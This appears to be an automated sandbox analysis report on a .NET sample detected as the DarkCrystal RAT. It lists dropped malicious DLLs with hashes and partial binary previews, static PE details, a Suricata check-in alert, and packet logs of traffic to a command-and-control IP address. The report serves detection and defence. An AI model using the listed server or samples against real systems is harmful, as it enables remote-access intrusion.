File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Users\user\Desktop\zCyFubHy.log

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\znwnjTAb.log

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.618543484589417
Encrypted:	false
SSDEEP:	12:Pp5pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:rdUOAokItULVDv
MD5:	1111FE8E3F5AF574FABA8BC5B610148D
SHA1:	97F131559F13C4A151D97F23065EE6E10E8F63F5
SHA-256:	15300385CB48B1F8DA78180F2F772A2F89872019F54E9FFDBBE5FA188E1155EA
SHA-512:	71163771D36565FA7E20D5391C6B8A71AC1F0779EF494709C49CFF8FFD182C6F10557E8E83889DC5EDD3F146B88E3E0AC0FCEF066B487F65E287B250A0B682BA
Malicious:	false
Preview:	..Pinging 971342 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.725753306549117
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	DWTukBG9R7.exe
File size:	2'742'784 bytes
MD5:	15536627ef85575e9dfa2f91d54b24dd
SHA1:	2c498ffe7cb1a53cce6155ac50b19b2a1b437b2d
SHA256:	7c80ac7694d0009df4cb82d8fa843910cf07a53d24916daf5dbb9e09a1512881
SHA512:	c4f489f26bb2b7517e0a6f12836ba18beac2b33e2b7f63903f5a95ba10feedf8711caa68b3e8f5512ed9bb211d8c09cb8f9c4d3c400f64c2da493c9722aa8b5e
SSDEEP:	49152:UtTBxlAaunGEw1jCZu4uQNOeh6/RrcCAEreN1s+WU8E+R:UttxanEdC0haOeh6/RrpDeN138E+R
TLSH:	C6C5E18695624E33C264BF3598E7102E42B8DA667513EF1B362F21D1FC062769F172B3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................).........~.).. .......@.. .......................@...........@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x69f07e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6507AC75 [Mon Sep 18 01:48:37 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x29f030	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2a0000	0x370	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2a2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x29d084	0x29d200	fdc4bf13aa9c62db5c1c8d661bd77f97	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x2a0000	0x370	0x400	a27edcaa2a23be5882eb0f42591f885e	False	0.3759765625	data	2.856785757722979	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x2a2000	0xc	0x200	076c91f60791fe2afec6d4b8492a9217	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x2a0058	0x318	data			0.44823232323232326

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T13:12:43.854358+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.5	49712	193.124.185.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 13:12:33.469182968 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:33.589016914 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:33.589143991 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:33.589584112 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:33.709419966 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:33.952838898 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:34.072570086 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:43.813642979 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:43.854357958 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:43.994621992 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:43.994720936 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:43.994803905 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:44.526798010 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:44.562501907 CET	49741	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:44.646469116 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:44.682224035 CET	80	49741	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:44.682408094 CET	49741	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:44.682813883 CET	49741	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:44.802529097 CET	80	49741	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:44.885859966 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:44.912945032 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:44.963787079 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:45.005558968 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:45.042341948 CET	49741	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:45.162199020 CET	80	49741	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:45.310399055 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:45.310854912 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:45.430888891 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:45.667237997 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:45.697742939 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:45.745018005 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:45.789388895 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:45.918504000 CET	80	49741	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:45.963799000 CET	49741	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:46.122059107 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:46.122596025 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:46.156084061 CET	80	49741	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:46.198110104 CET	49741	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:46.242594957 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:46.380485058 CET	49741	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:46.380872011 CET	49747	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:46.479453087 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:46.500539064 CET	80	49741	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:46.500598907 CET	80	49747	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:46.500720024 CET	49741	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:46.500755072 CET	49747	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:46.500910044 CET	49747	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:46.509311914 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:46.557485104 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:46.600398064 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:46.600718975 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:46.620886087 CET	80	49747	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:46.854909897 CET	49747	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:46.969079971 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:46.974636078 CET	80	49747	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:47.010642052 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:47.754956961 CET	80	49747	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:47.807455063 CET	49747	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:47.993745089 CET	80	49747	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:48.041879892 CET	49747	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:48.208657026 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:48.208758116 CET	49747	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:48.209181070 CET	49753	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:48.328716040 CET	80	49712	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:48.328824043 CET	49712	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:48.328923941 CET	80	49753	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:48.329004049 CET	49753	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:48.329176903 CET	80	49747	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:48.329189062 CET	49753	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:48.329236031 CET	49747	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:48.448776007 CET	80	49753	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:48.682580948 CET	49753	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:48.802547932 CET	80	49753	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:49.563402891 CET	80	49753	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:49.604335070 CET	49753	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:49.798587084 CET	80	49753	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:49.799617052 CET	49753	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:49.925180912 CET	80	49753	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:49.925297976 CET	49753	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:52.030487061 CET	49765	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:52.150485992 CET	80	49765	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:52.150640965 CET	49765	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:52.150872946 CET	49765	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:52.270551920 CET	80	49765	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:52.495450974 CET	49765	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:52.615403891 CET	80	49765	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:52.615421057 CET	80	49765	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:52.845566988 CET	49768	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:52.965904951 CET	49765	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:52.968705893 CET	80	49768	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:52.968831062 CET	49768	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:52.968961954 CET	49768	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:53.092111111 CET	80	49768	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:53.120996952 CET	80	49765	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:53.121067047 CET	49765	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:53.323208094 CET	49768	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:53.442971945 CET	80	49768	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:54.205327988 CET	80	49768	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:54.333853960 CET	49768	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:54.438317060 CET	80	49768	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:54.527239084 CET	49768	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:57.828845024 CET	49768	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:57.830049038 CET	49776	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:57.949263096 CET	80	49768	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:57.949352980 CET	49768	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:57.949748039 CET	80	49776	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:57.949831963 CET	49776	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:57.950031042 CET	49776	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:58.069786072 CET	80	49776	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:58.166480064 CET	49779	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:58.235829115 CET	49776	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:58.287363052 CET	80	49779	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:58.287934065 CET	49779	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:58.289216995 CET	49779	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:58.398788929 CET	80	49776	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:58.410325050 CET	80	49779	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:58.484266043 CET	49781	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:58.605019093 CET	80	49781	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:58.605091095 CET	49781	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:58.605298042 CET	49781	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:58.635714054 CET	49779	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:58.725822926 CET	80	49781	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:58.755593061 CET	80	49779	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:58.755652905 CET	80	49779	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:58.918575048 CET	80	49776	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:58.918632030 CET	49776	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:58.963891029 CET	49781	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:59.084759951 CET	80	49781	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:59.515155077 CET	80	49779	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:59.716080904 CET	49779	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:59.749838114 CET	80	49779	193.124.185.16	192.168.2.5
Dec 16, 2024 13:12:59.823138952 CET	49779	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:12:59.834547997 CET	80	49781	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:00.010616064 CET	49781	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:00.066456079 CET	80	49781	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:00.213731050 CET	49781	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:00.290826082 CET	49779	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:00.290935040 CET	49781	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:00.291239977 CET	49785	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:00.411007881 CET	80	49785	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:00.411020994 CET	80	49779	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:00.411103964 CET	49779	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:00.411125898 CET	49785	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:00.411326885 CET	49785	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:00.411432028 CET	80	49781	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:00.411474943 CET	49781	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:00.531040907 CET	80	49785	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:00.766896963 CET	49785	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:00.886806965 CET	80	49785	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:01.646538973 CET	80	49785	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:01.757426977 CET	49785	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:01.885570049 CET	80	49785	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:01.885849953 CET	49785	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:02.005923033 CET	80	49785	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:02.006000996 CET	49785	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:02.053004026 CET	49792	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:02.173032999 CET	80	49792	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:02.173125982 CET	49792	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:02.173295021 CET	49792	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:02.293028116 CET	80	49792	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:02.526333094 CET	49792	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:02.647059917 CET	80	49792	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:03.427617073 CET	80	49792	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:03.510613918 CET	49792	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:03.666335106 CET	80	49792	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:03.713711977 CET	49792	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:03.815958977 CET	49792	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:03.816332102 CET	49796	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:03.936213017 CET	80	49796	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:03.936286926 CET	49796	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:03.936439991 CET	49796	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:03.936454058 CET	80	49792	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:03.936503887 CET	49792	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:04.056246042 CET	80	49796	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:04.292408943 CET	49796	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:04.413213968 CET	80	49796	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:04.761682034 CET	49800	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:04.761753082 CET	49796	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:04.881448030 CET	80	49800	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:04.881536961 CET	49800	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:04.881731987 CET	49800	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:04.896275043 CET	80	49796	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:04.897083998 CET	49796	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:04.924719095 CET	49802	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:05.003427982 CET	80	49800	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:05.046217918 CET	80	49802	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:05.046303988 CET	49802	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:05.046432972 CET	49802	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:05.167011023 CET	80	49802	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:05.229458094 CET	49800	80	192.168.2.5	193.124.185.16
Dec 16, 2024 13:13:05.349476099 CET	80	49800	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:05.353821039 CET	80	49800	193.124.185.16	192.168.2.5
Dec 16, 2024 13:13:05.401283979 CET	49802	80	192.168.2.5	193.124.185.16
